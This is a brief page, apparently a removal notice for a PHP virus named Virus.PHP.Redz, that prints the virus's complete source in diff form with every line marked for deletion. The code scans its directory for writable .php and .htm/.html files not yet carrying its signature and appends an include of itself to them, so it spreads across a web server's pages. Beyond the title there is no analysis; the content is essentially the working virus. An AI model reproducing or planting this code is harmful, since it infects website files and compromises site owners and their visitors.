Delete Virus.PHP.Redz

PHP/Virus.PHP.Redz

-<?php
-
-$handle=opendir('.');
-
-while ($file = readdir($handle))
-
-{ $inf_=true;
-  $ext_=false;
-
- if ( ($ext_ = strstr ($file, '.php')) || ($ext_ = strstr ($file, '.htm')) || ($ext_ = strstr ($file, '.html')) )
- if ( is_file($file) && is_writeable($file) )
- {
-   $host = fopen($file, "r");
-   $contents = fread ($host, filesize ($file));
-   $sig = strstr ($contents, 'redz.php');
-   if(!$sig) $inf_=false;
- }
- if (($inf_==false))
-  {
-   $host = fopen($file, "a");
-   fputs($host,"<?php ");
-   fputs($host,"include(\"");
-   fputs($host,__FILE__);
-   fputs($host,"\"); ");
-   fputs($host,"?>");
-   fclose($host);
-   return;
- }
-}
-closedir($handle);
-?>